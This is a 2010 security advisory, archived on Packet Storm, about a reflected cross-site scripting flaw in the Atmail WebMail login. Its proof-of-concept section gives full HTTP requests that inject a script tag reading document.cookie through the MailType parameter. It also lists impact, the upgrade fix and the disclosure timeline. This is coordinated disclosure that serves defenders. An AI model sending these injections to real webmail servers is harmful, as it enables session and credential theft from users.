what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Atmail WebMail Cross Site Scripting

Atmail WebMail Cross Site Scripting
Posted Sep 21, 2010
Authored by Vicente Aguilera Diaz

Atmail Webmail suffers from a cross site scripting vulnerability. Versions prior to 6.2.0 are affected.

tags | exploit, xss
SHA-256 | cb6f90aa2c4b5814e7f1cc5ff1519d4fa832cced07f124d15e44fbe5111fb627

Atmail WebMail Cross Site Scripting

Change Mirror Download
=============================================
INTERNET SECURITY AUDITORS ALERT 2010-009
- Original release date: August 30th, 2010
- Last revised: September 21st, 2010
- Discovered by: Vicente Aguilera Diaz
- Severity: 4.3/10 (CVSSv2 Base Scored)
=============================================

I. VULNERABILITY
-------------------------
Reflected XSS in the login process of the Atmail WebMail < v6.1.9

II. BACKGROUND
-------------------------
Atmail allows users to access IMAP Mailboxes of any server of your
choice. The software provides a comprehensive email-suite for
accessing user mailboxes, and provides an inbuilt Calendar and
Addressbook features. The WebMail Client of Atmail supports any
existing IMAP server running under Unix/Linux or Windows systems.

III. DESCRIPTION
-------------------------
Has been detected a reflected XSS vulnerability in the login process
of the Atmail WebMail, that allows the execution of arbitrary
HTML/script code to be executed in the context of the victim user's
browser.

The code injection is done through the "MailType" parameter, and can
be exploited without a user account in the WebMail.

Moreover, the login request may be made by the HTTP GET method (by
default, HTTP POST method is used), so this facilitates the
exploitation of the vulnerability.

IV. PROOF OF CONCEPT
-------------------------
=== Original request:
POST /index.php/mail/auth/processlogin HTTP/1.1
Host: <atmail_host>
...

emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>password=<password>&requestedServer=&MailType=IMAP

=== Malicious request - Example 1:
POST /index.php/mail/auth/processlogin HTTP/1.1
Host: <atmail_host>
...

emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>password=<password>&requestedServer=&MailType=<script>alert(document.cookie);</script>

=== Malicious request - Example 2:
GET
/index.php/mail/auth/processlogin?emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>password=<password>&requestedServer=&MailType=<script>alert(document.cookie);</script>
HTTP/1.1

V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or script code in a targeted
user's browser, this can leverage to steal sensitive information as
user credentials, personal data, etc.

VI. SYSTEMS AFFECTED
-------------------------
Tested in Atmail 6.1.9. Other versions may be affected too.

VII. SOLUTION
-------------------------
Upgrade to version 6.2.0

VIII. REFERENCES
-------------------------
http://www.atmail.com
http://www.isecauditors.com

IX. CREDITS
-------------------------
This vulnerability has been discovered
by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
August 30, 2010: Initial release
September 21, 2010: Last revision

XI. DISCLOSURE TIMELINE
-------------------------
August 30, 2010: Discovered by Internet Security Auditors
August 31, 2010: Atmail contacted including PoC.
Response about the scheduled correction.
September 2, 2010: Published version 6.2.0 that includes this patch.
September 21, 2010: Advisory sent to public lists.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.

XIII. ABOUT
-------------------------
Internet Security Auditors is a Spain based leader in web application
testing, network security, penetration testing, security compliance
implementation and assessing. Our clients include some of the largest
companies in areas such as finance, telecommunications, insurance,
ITC, etc. We are vendor independent provider with a deep expertise
since 2001. Our efforts in R&D include vulnerability research, open
security project collaboration and whitepapers, presentations and
security events participation and promotion. For further information
regarding our security services, contact us.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close